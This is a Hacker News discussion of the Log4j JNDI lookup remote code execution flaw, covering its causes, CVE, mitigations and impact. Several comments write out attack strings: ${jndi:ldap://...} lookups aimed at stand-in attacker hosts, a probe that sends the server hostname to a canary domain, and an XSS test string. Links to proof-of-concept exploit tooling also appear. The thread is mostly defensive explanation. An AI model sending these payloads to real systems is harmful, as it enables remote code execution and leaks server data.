40 ms·

Log4j RCE Found

• fotta 5y ago
  an immediate remediation is to set log4j.formatMsgNoLookups=true or log4j2.formatMsgNoLookups=true ctrl+f it here: https://logging.apache.org/log4j/2.x/manual/configuration.html https://logging.apache.org/log4j/2.x/manual/configuration.ht...
  • acdha 5y ago
    That text isn't present on that page any more – it looks like that was silently removed at some point after December 4th: https://web.archive.org/web/20211204140505/https://logging.apache.org/log4j/2.x/manual/configuration.html https://web.archive.org/web/20211204140505/https://logging.a...
    • fotta 5y ago
      I can still see the prop on the page under "Disables Message Pattern Lookups" and "System Properties"
      • jldugger 5y ago
        Wonder why the documentation changed so recently
        • dikei 5y ago
          Because they remove message lookup in version 2.15. https://issues.apache.org/jira/browse/LOG4J2-3198 https://issues.apache.org/jira/browse/LOG4J2-3198
  • freeqaz 5y ago
    There is also a patch available in `log4j-2.15.0-rc1` now. https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1 https://github.com/apache/logging-log4j2/releases/tag/log4j-...
  • dikei 5y ago
    Seem like they updated the doc to version 2.15, which no longer has this configuration. Here's the link for version 2.14.1 https://logging.apache.org/log4j/log4j-2.14.1/manual/configuration.html https://logging.apache.org/log4j/log4j-2.14.1/manual/configu...
• a-dub 5y ago
  so the question is, is it safe to log unsanitized inputs? i've argued no given the complexity of today's logging pipelines and caught a lot of flak for it in the past... now i feel vindicated.
  • dylan604 5y ago
    Why would you ever trust user provided input? Like seriously, ever? I don't trust my own input. I tend to copy&paste, and I've messed up from pasting something that was previously in the clipboard because I didn't actually hit the right keyboard shortcut when I was copying the data I thought I was. I wasn't even attempting to be malicious, but I accidentally tried a SQL Inject attack on myself because of it. DON'T EVER TRUST USER PROVIDED INPUT!!! AHHHHH!
    • lvh 5y ago
      Eh. I think it's pretty reasonable that people assume their logging library doesn't have random RCE, and I think it's pretty reasonable people aren't going to be able to filter every parameter based on Log4J having a relatively obscure bug.
      • a-dub 5y ago
        think about the complexity involved in a modern backend. those log messages are flowing through logging libraries and a local syslog at an absolute minimum. more exotic setups involve consolidators, indexing/searching, user interfaces that may be controlled by any number of operators. moreover, those who use these tools typically have the keys to the kingdom for their respective environments.
        • lvh 5y ago
          Right! What would filtering even look like? This seems like an unreasonable burden on the developer.
    • dsrw 5y ago
      I agree, but certain operations need to safely accept untrusted input if I'm going to handle input at all. Running a regex on user input doesn't mean I trust the input. It means I trust my regex engine. I should be able to trust my logger the same way.
• x3n0ph3n3 5y ago
  It's insane to me that this has already fallen off the front page -- this may be the biggest security vulnerability I've seen in my 12+ year career.
• radius314 5y ago
  AWS has released managed WAFv2 rulesets. Here is a Terraform snippet of how to implement: https://gist.github.com/dgershman/712eabe8664fa4573f6273b639195600 https://gist.github.com/dgershman/712eabe8664fa4573f6273b639...
• iamrohitbanga 5y ago
  I wonder if there are other templating engines out there that have similar plugins that load text from remote source, and could have similar bugs.
• aaronbwebber 5y ago
  There are comments suggesting that this was reported the Apache some time ago, but a CVE wasn't assigned? Getting a CVE assigned, even with hardly any details at all ("get ready to upgrade log4j") could have really helped people here.
• deleted 5y ago
  [deleted]
• foobarian 5y ago
  Well obviously we need a way in our LOGGING LIBRARY to download binary blobs off the Internet and execute them from log messages. Sigh
  • abhishekjha 5y ago
    This is what has me scratching my head. What is the usecase that somebody is using LDAP to load remote classes? I am your run of the mill CRUD developer but I haven't had to load remote classes ever. Is this some framework level stuff? Was this an opt-in kinda scenario?
    • xorcist 5y ago
      Here's how: https://issues.apache.org/jira/browse/LOG4J2-313 https://issues.apache.org/jira/browse/LOG4J2-313 "Here's a feature I just thought of" "Boom. Merged." That kind of interaction isn't uncommon. Lots of projects in this ecosystem are abstractions built on abstractions, and value features over everything else.
  • duxup 5y ago
    Or just make network requests from the logging framework when data comes in from, anywhere, and it’s just turned on by default. Not that I can’t think of a use but it’s just on and no white list or…something?
• asdflasdf 5y ago
  "><img/src=x/onerror=alert()/>
  • asdflasdf 5y ago
    '
• _xnmw 5y ago
  Even a logging library is insecure. And some people believe in irreversible "smart contracts" for finance.
• asw556 5y ago
  ${jndi:ldap://x${hostName}.L4J.xorgmd5pnq3v4anyr450qx4l3.canarytokens.com/a}
• qdot76367 5y ago
  Good twitter thread summarizing the situation: https://twitter.com/dzikoysk/status/1469091718867951618 https://twitter.com/dzikoysk/status/1469091718867951618
  • jpomykala 5y ago
    „ Also, we can't be sure about whole scenario. There're reports that indicates this RCE is still possible in 2.15+ RCs builds, so there is a chance there are also other gateways to achieve the same effect.”
  • jacquesm 5y ago
    'dumpsterfire' would be a lot more concise.
• posharma 5y ago
  How do you merge a PR when someone has requested changes on it?
  • deathanatos 5y ago
    It depends on the repository settings. If you have write access (and note the person who opens the PR appears to be a member of Apache, so I'm assuming they have write access), the default settings in Github allow merging even without approval, or with requested changes. (I.e., the defaults are pretty lax; you have to enable the "requires approval to merge" stuff.) Even if approval is required, anyone with admin access can override the lack of approval. (For that user, the merge button is a different color/state: it very clearly warns you when you exercise that right.) I don't think it's clear which is the case here. (But also note that there is an approval, in addition to the "changes requested". So, even in the scenario that approval is required, the PR could be merged, technically, but it would require dismissing the requested changes in that case, which was not done here.)
• brasetvik 5y ago
  Are there any mitigations in recent JVMs? I tried reproducing this, and got the POC to hit the LDAP server, but it wouldn't load the test payload. See also: - https://github.com/tangxiaofeng7/apache-log4j-poc https://github.com/tangxiaofeng7/apache-log4j-poc - https://github.com/mbechler/marshalsec https://github.com/mbechler/marshalsec - https://github.com/veracode-research/rogue-jndi https://github.com/veracode-research/rogue-jndi Minecraft servers were being actively exploited according to various tweets.
  • Fabricio20 5y ago
    Yes, more specifically after Java 8u191 you need to flag the client with: -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dcom.sun.jndi.rmi.object.trustURLCodebase=true While RCE is not possible without these flags, you will still get pingback, in minecraft's example, allowing you to get the IP of everyone connected.
    • brasetvik 5y ago
      That's good clarification, thanks. I got the POC to RCE with `-Dcom.sun.jndi.ldap.object.trustURLCodebase=true` seeming sufficient. While still not great, I'd expect that to meaningfully reduce the severity for most, as that seems a pretty … odd option to enable.
      • Fabricio20 5y ago
        If you check the argument, one is for RMI and the other is for LDAP, if your PoC uses LDAP then you need the LDAP one, else RMI, etc.. But yes, most people probably don't have this enabled, so the only concern is a pingback in modern java.
        • ryan_lane 5y ago
          Pingback can also include variable contents, so it's not just "they can get the IPs", but also potentially secrets and such.
• stefan_ 5y ago
  The best part is surely the diffstat of the "fix": +465 −9 This is insanity.
  • userbinator 5y ago
    This is Java. (I'm not surprised. I worked with Enterprise Java briefly, many years ago. Verbosity and redundancy is a deeply ingrained cultural thing.)
    • jpgvm 5y ago
      It's not. Backwards compatibility however is which is why the fix maintains the functionality but makes it as safe as possible rather than ripping it out.
  • Quiark 5y ago
    Did you look at it? Half of it is test and license headers plus the fix involves adding a whitelisting and filtering code.
    • stefan_ 5y ago
      Yes, that is exactly the part that concerns me. This doesn't need more code, it needs desperately less.
      • yashap 5y ago
        I’m with you, but if you’re maintaining a massively popular open source library, where backwards compatibility is expected, you’re not going to remove features without careful consideration. For an important bug fix, it probably does make more sense to just fix it without breaking anything first, then talk about a more careful deprecation/removal plan.
    • yc12340 5y ago
      "Filtering code"? This sounds like trying to plug hole in dam with one's finger. And the the hole is several meters wide.
• koolba 5y ago
  What’s the actual bug and how would it be exploited?
  • ievans 5y ago
    If you are logging a user-controlled string, the user can provide a string that uses the JNDI URL schema like ${jndi:ldap://attackercontrolled.evil}. This will fetch deserialize an arbitrary Java object, which can cause arbitrary code execution (ACE). Here's an explanation of how deserializing leads to ACE: https://vickieli.dev/insecure%20deserialization/java-deserialization/ https://vickieli.dev/insecure%20deserialization/java-deseria... Another commentators states that after Java 8u191 arbitrary code execution isn't possible but you can get pingback: https://news.ycombinator.com/item?id=29505027 https://news.ycombinator.com/item?id=29505027
    • koolba 5y ago
      Thank you for the explanation. Mitigation seems to disable JNDI lookups. Wouldn’t it make more sense to disable parsing altogether? In what possible situation does anyone want their logging library to run eval(…) on arbitrary inputs?!
  • ddoubleU 5y ago
    Most current Minecraft server versions as well as clients are vulnerable (to RCE).
• ievans 5y ago
  If you'd like to detect whether you're affected by this dynamically, it looks like https://github.com/google/tsunami-security-scanner-plugins/issues/219 https://github.com/google/tsunami-security-scanner-plugins/i... will eventually make it into Google's dynamic scanner: https://github.com/google/tsunami-security-scanner https://github.com/google/tsunami-security-scanner (I bet it would be easy to write a plugin for https://github.com/projectdiscovery/nuclei https://github.com/projectdiscovery/nuclei as well.) To see if there are injection points statically, I work on a tool (https://github.com/returntocorp/semgrep https://github.com/returntocorp/semgrep) that someone else already wrote a check with: https://twitter.com/lapt0r/status/1469096944047779845 https://twitter.com/lapt0r/status/1469096944047779845 or look for the mitigation with `semgrep -e '$LOGGER.formatMsgNoLookups(true)' --lang java`. For the mitigation, the string should be unique enough that just ripgrep works well too.
  • slimbods 5y ago
    The Activescan++ extension for burp has been updated, but you need to do a manual update to get it: https://github.com/PortSwigger/active-scan-plus-plus/commit/b485a0744140533d877ce244603502b42f9c6656 https://github.com/PortSwigger/active-scan-plus-plus/commit/...
• xyst 5y ago
  This should be something that static code analyzers should pick up. If a dependency log4j dependency is <2.15, then it needs to be updated. Just in time to ruin all of the reports project managers present to executives
  • nick__m 5y ago
    the vulnerable feature is not in log4j < 2.10 see https://github.com/apache/logging-log4j2/pull/608#issuecomment-990305306 https://github.com/apache/logging-log4j2/pull/608#issuecomme... and you can just delete the affected class
    • agwa 5y ago
      > the vulnerable feature is not in log4j < 2.10 The comment you cited is referring to the option to disable the vulnerable feature, not the vulnerable feature itself. Per https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126 https://github.com/apache/logging-log4j2/pull/608#issuecomme... even log4j 1.x is vulnerable.
      • cesarb 5y ago
        What I understood from that comment is that log4j 1.x is only vulnerable if you use the JMS Appender, which is probably not the most common configuration.
      • tmd83 5y ago
        Does that mean it's only vulnerable if JMSAppender is used otherwise not? Which should at least be a rarer use case.
        • philipwhiuk 5y ago
          Log4J 1 is only vulnerable for JMS Log4J 2 is vulnerable < 2.15.0. There are mitigations for > 2.10.0 and > 2.7.0
    • nick__m 5y ago
• alblue 5y ago
  Where’s the CVE?
  • plasma 5y ago
    I see a GitHub Advisory being made at https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
    • garydgregory 5y ago
      The CVE is being crafted as I write this...
      • fomine3 5y ago
        It seems that CVE had already created at 11/26. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4422...
      • alblue 5y ago
        Is it this one? https://nvd.nist.gov/vuln/detail/CVE-2021-44228 https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  • simon04 5y ago
    CVE-2021-44228 – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4422... Also linked from https://logging.apache.org/log4j/2.x/security.html https://logging.apache.org/log4j/2.x/security.html
• throwaway81523 5y ago
  The twitter thread says something about serialized objects containing malicious code. I didn't realize Java had that. Can someone explain in more detail?
  • freeqaz 5y ago
    There are some more details in this post we wrote up earlier[0]. Feel free to throw me any questions (I'm a security engineer). 0: https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.lunasec.io/docs/blog/log4j-zero-day/
  • chii 5y ago
    Java has the ability to serialize a class, send it over the network, and deserialize it back into a usable class. This mechanism is quite flexible, and allows the class itself to control some aspect of it's own serialization (such as code to run post-serialization, as a form of initialiation, somewhat similar to a constructor). So if you load a class from an unknown source (such as this exploit's example), you are basically allowing RCE.
    • tcoff91 5y ago
      This is such a massive footgun wow...
      • chii 5y ago
        it's not any different from eval() tbh - the onus is on the programmer to not trust input. The problem is when libraries do unexpected things, like the log4j RCE.
    • immibis 5y ago
      Note that the class itself is not serialized. Only the instance of the class is serialized. The class itself is looked up by name in the running program. This is still a footgun because you can try to deserialize classes that weren't meant to be deserialized in this context, but it's a way smaller footgun than being able to just load arbitrary code into the program.
• testplzignore 5y ago
  I don't get what the point of this feature even is. What is a legitimate reason for a logging library to make network requests based on the contents of what is being logged? And is this enabled out-of-the-box with log4j2?
  • numpad0 5y ago
    I think this hilarious surprise from "network is the computer" principle and "it just so happens to go through xyz" transparency is just awesome.
  • nijave 5y ago
    I'm guessing some sort of auditing or routing functionality. For instance, you have debug logs going to some development server and login events going to so audit server. I don't have experience with this feature but there's similar use cases in log shipping utilities like fluentd Edit: I read the other link and it looks like some sort of poorly designed RPC functionality or something shrug Edit 2: Reading https://docs.oracle.com/javase/7/docs/technotes/guides/jndi/jndi-rmi.html https://docs.oracle.com/javase/7/docs/technotes/guides/jndi/..., it sounds like it's a form of service discover of sorts. You talk to a registry server and it provides some object pointing to the real destination
    • shp0ngle 5y ago
      Reading about this got me to the words “servlet” and “BeanFactory”, which I don’t really want to uncover right now, as it might open some pandora’s box
      • toyg 5y ago
        Those are very famous '90s Java concepts (J2EE), and I feel old for talking to somebody who doesn't know what they are.
        • shp0ngle 5y ago
          I remember reading about them when I learned programming in 2000s, but never used them in reality. Luckily.
• freeqaz 5y ago
  Here's a write up on the exploit and how to patch it. We just wrote this up and posted it a few minutes ago (before this was even on HN, lol). https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.lunasec.io/docs/blog/log4j-zero-day/
  • deleted 5y ago
    [deleted]
  • dang 5y ago
    Ok, I think we can change the URL to that from the submitted URL (https://github.com/apache/logging-log4j2/pull/608 https://github.com/apache/logging-log4j2/pull/608), which doesn't provide much (any?) context for understanding what's being fixed there.
    • freeqaz 5y ago
      Thanks, dang!
  • nightpool 5y ago
    Note that the formatMsgNoLookups workaround only applies to recent versions of the log4j library, while it's still unclear how far back this bug may stretch. Other options for patching are detailed in the thread: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990305306 https://github.com/apache/logging-log4j2/pull/608#issuecomme... mentions that just removing the class providing the vulnerable behavior works well, and https://github.com/Glavo/log4j-patch https://github.com/Glavo/log4j-patch is a JAR that you can add to your classpath to simply override the same class. See https://github.com/apache/logging-log4j2/pull/608#issuecomment-990305306 https://github.com/apache/logging-log4j2/pull/608#issuecomme... for more details.
    • LOG4J2-2109 5y ago
      The 'formatMsgNoLookups' property was added in version 2.10.0, per the JIRA Issue LOG4J2-2109 [1] that proposed it. Therefore the 'formatMsgNoLookups=true' mitigation strategy is available in version 2.10.0 and higher, but is no longer necessary with version 2.15.0, because it then becomes the default behavior [2][3]. If you are using a version older than 2.10.0 and cannot upgrade, your mitigation choices are: - Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files, see details at https://issues.apache.org/jira/browse/LOG4J2-2109 https://issues.apache.org/jira/browse/LOG4J2-2109 or - Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application's or stack's classloading documentation to understand this behavior. [1] https://issues.apache.org/jira/browse/LOG4J2-2109 https://issues.apache.org/jira/browse/LOG4J2-2109 [2] https://github.com/apache/logging-log4j2/pull/607/files https://github.com/apache/logging-log4j2/pull/607/files [3] https://issues.apache.org/jira/browse/LOG4J2-3198 https://issues.apache.org/jira/browse/LOG4J2-3198
• nijave 5y ago
  Isn't it generally considered bad practice to log user controlled data (without some form of sanitization)? I think static analyzers tend to find these since they're a type of injection attack (an attacker could insert fake log lines or otherwise interfere with the log contents)
  • xyzzy123 5y ago
    Yes, it's like a format string bug in C in that sense. Most people don't take "log injection" that seriously as a bug class in Java. There are usually no consequences for ignoring it, so it's common. The RCE adds a lot of flavour to an otherwise bland bug.
    • xyzzy123 5y ago
      NOTE: I WAS WRONG, AS DISCUSSED UPTHREAD. IT IS EXPLOITABLE EVEN IF YOU USE FORMAT STRINGS CORRECTLY.
  • skim_milk 5y ago
    Anyone remember printf exploits? Feels strange to still be happening in 2021. I remember accidentally finding a printf exploit in an online Nintendo DS game when I was a kid, not that I knew what I was doing but it was fun to have my name be a bunch of constantly changing random numbers using %e in my online name. Sounds like the minecraft kids are having a bunch of fun with this one now :)
    • nvarsj 5y ago
      Yeah! sudo had a pretty good one, anyone could gain root access via it, back in 2012 [1]. I love the irony here though - given how people using Java tend to think its unexploitable compared to C/C++ code. This is arguably way worse than a format string exploit. Even user sanitized data gives you full RCE. And via url headers/strings. This feels like a 1990s web era exploit, it's pretty insane. 1: https://www.sudo.ws/security/advisories/sudo_debug/ https://www.sudo.ws/security/advisories/sudo_debug/
  • immibis 5y ago
• spuz 5y ago
  Thanks for the write-up but I have a few questions. Why does log4j's .log() method attempt to parse the strings sent to it? It is the last thing I would expect it to do. Is the part in the sample code where the user's input is output back to them part of the exploit? If so how does it fit into the attack? What will the attacker see beyond the string they originally sent as input? Could you update your mitigation steps to explain how to set the "log4g.formatMsgNoLookups" config? It's not clear whether this is a property that goes into the log4j config or into the JVM args.
  • freeqaz 5y ago
    When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and then seeing if they get requests (DNS requests for a subdomain, probably). It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place for this in there with: "When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the log4j2.allowedLdapHosts property." ... I'm guessing they must have broken this, or the exploit found a bypass for those? I'll do some digging and update the blog post if I find anything interesting. 0: https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd...
    • spuz 5y ago
      What benign purpose does this feature serve and why does it have to be implemented by parsing the input string? Does the input string get modified before being written into the log? I'll ask again because the information presented so far both in this thread on GitHub and on Twitter has been very lacking: is it necessary to return the input string back to the attacker in the response to their request in order for them to exploit this bug as you are doing in your example code?
      • BeefWellington 5y ago
        Best guess: Resolving some kind of entity name to a username for some weird auditing requirement few people have ever heard of. It's the kind of feature I've seen in some software in the past. That's just a guess though.
• Pxtl 5y ago
  I give up. It's got as many eyeballs in it as you could ever hope, and it's as mature as any piece of software ever could be. And its job is to write text to files. It's basically a wrapper around printf. How did this get screwed up? Security is impossible.
  • IncludeSecurity 5y ago
    After having worked on software security for 20yrs+ I can tell you first hand that it is a long-term losing game. Libs, frameworks, and SDKs are written to provide functionality and interop. The more functionality/interop they have then the more popular they become and the more vulns they have. The only winning move is not to code! ....OR learn to live in a state of constant vulns and put guardrails in place so that you can avoid shooting yourself in the foot as much as possible. In this case strict ngress/egress firewall rules in prod would prevent this from ever being exploited from what I've read on the vuln thus far.
• morpheuskafka 5y ago
  Anyone know of a quick way to test this just to see if it will hit the URL without setting up any exploit server to actually send any code? I guess you'd need something that reports when the DNS name gets hit (like how a DNS leak test works) but I can't find any services to do that.
  • deleted 5y ago
    [deleted]
  • jffry 5y ago
    Looks like https://requestbin.net/dns https://requestbin.net/dns is what you want, no? I set one up (free, no account) and then when I did an nslookup or curl I saw the DNS hits coming in
    • morpheuskafka 5y ago
      Yep, that's exactly what I was after. Tried a few google searches but it was just bringing up tools to test DNS propagation.
    • fomine3 5y ago
      TIL. this looks useful for various use.
    • philh 5y ago
      I don't really know what's going on here, so to clarify... it gives "simple checking example" nslookup mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net but when I run that in my terminal I get the response ;; Got SERVFAIL reply from 83.146.21.6, trying next server Server: 212.158.248.6 Address: 212.158.248.6#53 ** server can't find mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net: SERVFAIL And nothing shows up in "received data" on the website. Is that expected? Should I be running the dnsbinclient.py they provide? (I don't have the websocket module installed right now.) I did run `curl a54c4d391bad1b48ebc3.d.requestbin.net` before the nslookup, could that have made a difference here?
      • 5y ago
• jimrandomh 5y ago
  I try to follow a rule with libraries: if a library causes more trouble than the implementation effort it would take to recreate its functionality from scratch (or rather, the portion of its funcitonality that is used in practice), then it's time to purge that library from projects and never use it again. The part of log4j functionality that gets used in practice, most of the time, is just a wrapper around printf which adds a timestamp and a log-level. This is very quick and easy to write. A library in this role should have zero RCEs, ever in its entire lifetime, or it is unfit for purpose.
  • Natsu 5y ago
    It's a bit more complicated than it seems to do logging efficiently, though. Higher levels of logging really do slow you down - https://logging.apache.org/log4j/log4j-2.2/performance.html https://logging.apache.org/log4j/log4j-2.2/performance.html
  • eyelidlessness 5y ago
    I haven’t used log4j (or a JVM language) for several years but IIRC the most common usage was printf + agnostic but reliable output, commonly adapted to multiple SaaS solutions and usable in dev, and outputting formats that are searchable eg in Logstash. This is roughly the same as I’ve encountered on Node where I’ve also had to remind myself that it isn’t a simple printf -> stdout, even if it looks and feels like it is. The complexity in logging libraries like this are much greater than they seem like they should be, specifically because they’re designed to abstract a lot of integration use cases in a way that feels like it just works. Marshaling data between even a few services introduces a lot of potential for mistakes.
  • nostoc 5y ago
    > just a wrapper around printf which adds a timestamp and a log-level That's a pretty naive view of what's needed in an enterprise logging solution. logging to files, separate logging, remote logging, log rotation, logging 3rd party code... Of course if you're simply sending lines to the terminal in a simple program you don't need log4j. But once you scale, you'd be spending 3 weeks implementing what you get for free in log4j.
• pqyzwbq 5y ago
  Do anyone know if I depends on the following 2: - org.apache.logging.log4j:log4j-api - org.apache.logging.log4j:log4j-to-slf4j But without dependency on - org.apache.logging.log4j:log4j-core in this situation, is this safe from this RCE? Thanks. Edit, This may affect both log4j 2.x and log4j 1.x (see comments bellow, thanks.)
  • agwa 5y ago
    > By the way. This only affect log4j 2.x (https://github.com/apache/logging-log4j2 https://github.com/apache/logging-log4j2). the log4j 1.x (https://github.com/apache/log4j https://github.com/apache/log4j) is not affected. That's not what https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126 https://github.com/apache/logging-log4j2/pull/608#issuecomme... says
    • pqyzwbq 5y ago
      OK, thanks, didn't notice this when I read it.
    • deleted 5y ago
      [deleted]
  • pqyzwbq 5y ago
    Noticed this is answered in: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990661374 https://github.com/apache/logging-log4j2/pull/608#issuecomme... ``` I believe that applications that use log4j-api with log4j-to-slf4j, without using log4j-core, are not impacted by this vulnerability. (Because the lookup and JNDI implementations are in log4j-core.) ```
• jcims 5y ago
  Does anyone in here know what url schemes are valid for JNDI and/or this bug in particular? The example is LDAP but is that the only one JNDI supports? Would HTTPS or even data urls work?
  • adambatkin 5y ago
    Out of the box (at least on my text 1.8 JVM): corbaname, dns, iiop, iiopname, ldap, ldaps, rmi For full details of how this works, use a vulnerable log4j version, log a simple (bad) lookup, and step through with a debugger for a while. Sources: - https://github.com/JetBrains/jdk8u_jdk/blob/master/src/share/classes/com/sun/naming/internal/ResourceManager.java#L422 - https://github.com/JetBrains/jdk8u_jdk/blob/master/src/share/classes/javax/naming/spi/NamingManager.java#L558 - https://github.com/JetBrains/jdk8u_jdk/tree/master/src/share/classes/com/sun/jndi/url By default the class will be named "com.sun.jndi.url.<scheme>.<scheme>URLContextFactory" So for example, if your schema, the class will be "com.sun.jndi.url.ldap.ldapURLContextFactory". But also note that many of these schemes can return referrals/redirects to other protocols.
  • immibis 5y ago
    https://docs.oracle.com/javase/tutorial/jndi/overview/index.html https://docs.oracle.com/javase/tutorial/jndi/overview/index.... says that LDAP, DNS, RMI Registry, and CORBA Name Service are included in Java, and others may be discovered at load time (but I bet they aren't because that's very niche).
    • jcims 5y ago
      Thank you!!! I have absolutely no idea why i couldn’t find that reference. This is extremely helpful. DNS could be gnarly if serialized objects can be stored in txt records.
• jrockway 5y ago
  So a lot of people sound mad that the logging library is parsing the inputs, and maybe they should be, but the truly paranoid should also be aware that your terminal also parses every byte given to it (to find in-band signalling for colors, window titles, where the cursor should be, etc.). This means that if a malicious user can control log lines, they can also hide stuff if you're looking at the logs in a terminal. Something to be aware of!
  • hawk_ 5y ago
    While that's an interesting vector for attack, is it realistically an issue? Terminals are run as root all the time. I would guess any mainstream ones are well reviewed to not have such exploits work. Are you aware of any actual attacks exploiting terminal parsing in the wild?
    • TheDong 5y ago
      > Terminals are run as root all the time Is it really common to run terminals as root? I can't remember the last time I did. Sure, I open a terminal as my user, and then run 'sudo bash' to get a shell as root, but the terminal is still running as my user. Were you meaning something else?
      • shepherdjerred 5y ago
        I did a lot when I younger and didn't realize that it was a bad practice.
        • arpa 5y ago
          I've been on Linux since 2000s and still maintain the view that real men log in as root on tty1. It's ironman mode, and pure joy of *nix as it was meant to be experienced. You filthy casual. /s
          • dijit 5y ago
            UNIX was designed as a multi-user system. So the joy of UNIX is using many users on one machine. Which, incidentally, is the most pleasurable way of experiencing UNIX and UNIX-likes. (Shellboxen)
• deleted 5y ago
  [deleted]
• Thorrez 5y ago
  Hmm, that example code also forgets to HTML escape the user agent before putting it in the webpage.
• jcims 5y ago
  Technically it's a format string vulnerability that causes a server-side request forgery that can be abused to execute code on the remote system. I wonder of any bug bounties would give you a chain bonus for this one lol
  • JanecekPetr 5y ago
    Interestingly, no, the tag doesn't have to be in the formatting string. See https://news.ycombinator.com/item?id=29507511 https://news.ycombinator.com/item?id=29507511.
    • jcims 5y ago
      That example is good to clarify but really all it does is show that the vulnerability is indeed in the library, not user error on the part of the application developer. At the end of the day, format-string bugs are essentially unexpected interpolation of user-supplied input, which is what we have here. The fact that the specific interpolation causes a server-side request is what makes it a server-side request forgery. This isn’ta url input that’s getting an unexpected scheme, the interpolation is required. Lastly the fact that the server-side request forgery causes unexpected code to be downloaded and executed creates the RCE. This may seem like needless pedantry, but the reason it’s important is that there are likely other bugs hidden in here, and the RCE is just getting all the attention. For example, our network diallows egress except through a proxy. The initial JNDI request over LDAP isn’t getting anywhere. So we aren’t exposed per the POCs I’ve seen. BUT if JNDI supported HTTPS or data url schemes we would. Also if the interpolation allows any other deserialization attacks through inline payloads we would.
• creatonez 5y ago
  This exploit is quite severe on Minecraft Java Edition. Anyone can send a chat message which exploits everyone on the server and the server itself, because every chat message is logged. It's been quite a rollercoaster over the past few hours, working out the details of how to protect members of servers, and informing players (many of whom uses modded clients that don't receive the automatic Mojang patches) of how to protect themselves. Some of the major servers like 2b2t and Mineplex have shut down, and larger servers that haven't shut down yet are pure chaos right now.
  • bullen 5y ago
    So is this fixed in 1.18?
    • cjensen 5y ago
      It's in the 1.18.1 release candidate 3 which is scheduled to be fully released tomorrow.
    • creatonez 5y ago
      The vanilla launcher will automatically patch 1.12 to 1.18, and 1.18.1 includes a specific permanent fix for it by switching to a newer Log4j version. There is a workaround that fixes it for 1.13 to 1.18 only: Simply add `-Dlog4j2.formatMsgNoLookups=true` to your Java parameters What about Minecraft <1.12? Well, Mojang employees have said on Twitter^1 to not use any Minecraft versions before 1.12 right now. [1]: https://twitter.com/slicedlime/status/1469150995842310144 https://twitter.com/slicedlime/status/1469150995842310144
      • cesarb 5y ago
        > The vanilla launcher will automatically patch 1.12 to 1.18 The patch seems to have been to the client-1.12.xml file, which I believe is the log4j configuration file for all client releases since 1.12, and the change seems to have been to add a {nolookups} flag to the log format (but I don't have an old copy of that file to compare and see if anything else was changed). If I'm not wrong, this gives a simple way to make sure your copy of Minecraft is patched: just check if that file has that {nolookups} flag.
• fomine3 5y ago
  It's horrible that the vuln is fixed in open PR, never assigned CVE, and never released fixed version unless 0day shown in wild.
  • philipwhiuk 5y ago
    1. I believe that the zero day was released before the fix 2. There's no practical way to responsibly disclose a bug in a core library
    • 88joshgree 5y ago
      Nah there was a PR to mitigate in 2016 -> https://issues.apache.org/jira/browse/LOG4J2-2109 https://issues.apache.org/jira/browse/LOG4J2-2109
  • 88joshgree 5y ago
    Yeah and by someone who works for palantir no less - wonder how long they have been using it!?
• fnord77 5y ago
  always always always keep use of 3rd party java libraries to a minimum. While not necessarily useful in this case, I often see answers on stackoverflow saying "oh just use this apache commons or guava library" when there's a perfectly sound and easy way of just doing it in java. Makes me want to scream
  • elric 5y ago
    This doesn't seem like very good advice when it comes to logging frameworks. You really don't want to roll your own.
• wielebny 5y ago
  This is exploitable in applications that use Elastic Stack with logstash as a log processor. I've just been able to reproduce it in an Magento ecommerce with payload inserted into payments details.
  • terom 5y ago
    Per ESA-2021-31 [1] the common mitigation is not sufficient for logstash: > The widespread flag -Dlog4j2.formatMsgNoLookups=true is NOT sufficient to mitigate the vulnerability in Logstash in all cases, as Logstash uses Log4j in a way where the flag has no effect. It is therefore necessary to remove the JndiLookup class from the log4j2 core jar, with the following command: Logstash 7.16.1 should be out today to fix this... update even if mitigated: > Users should upgrade to Logstash 6.8.21 or 7.16.1 once they are released (expected Monday 13th December). These releases will replace vulnerable versions of Log4j with Log4j 2.15.0. EDIT: 7.16.1 is out in GitHub, but not yet everywhere on elastic co: https://github.com/elastic/logstash/releases/tag/v7.16.1 https://github.com/elastic/logstash/releases/tag/v7.16.1 [1] https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476 https://discuss.elastic.co/t/apache-log4j2-remote-code-execu...
  • wielebny 5y ago
    Worth noting: possible only because log line was malformed and logstash complained about it through log4j.
  • tetha 5y ago
    This why it is utmost critical to deploy the mitigating fixes to the core log aggregations first. Elasticsearch, Logstash, Graylog probably too. The vector here is even more annoying, you can think of something like: Unrelated app writes stuff to a logfile. This get's shipped to logstash. The log message was crafted in a way to break the logstash pipeline with an exception (invalid json, grok errors or something)... which get's written to the log of logstash, including parts of the original message. Or, you can trigger indexing errors in elasticsearch by forcing individual keys in events to have conflicting types (send "banana: 42" first, making it an int, and then send "banana: '42'", making it a string). This can cause ES to dump the field name, and sometimes a value if I recall right, to it's own log. In both cases, this could potentially compromise a vulnerable log aggregation behind an unaffected service.
• kragen 5y ago
  Unusual to find an RCE format string vuln in Java.
• janstice 5y ago
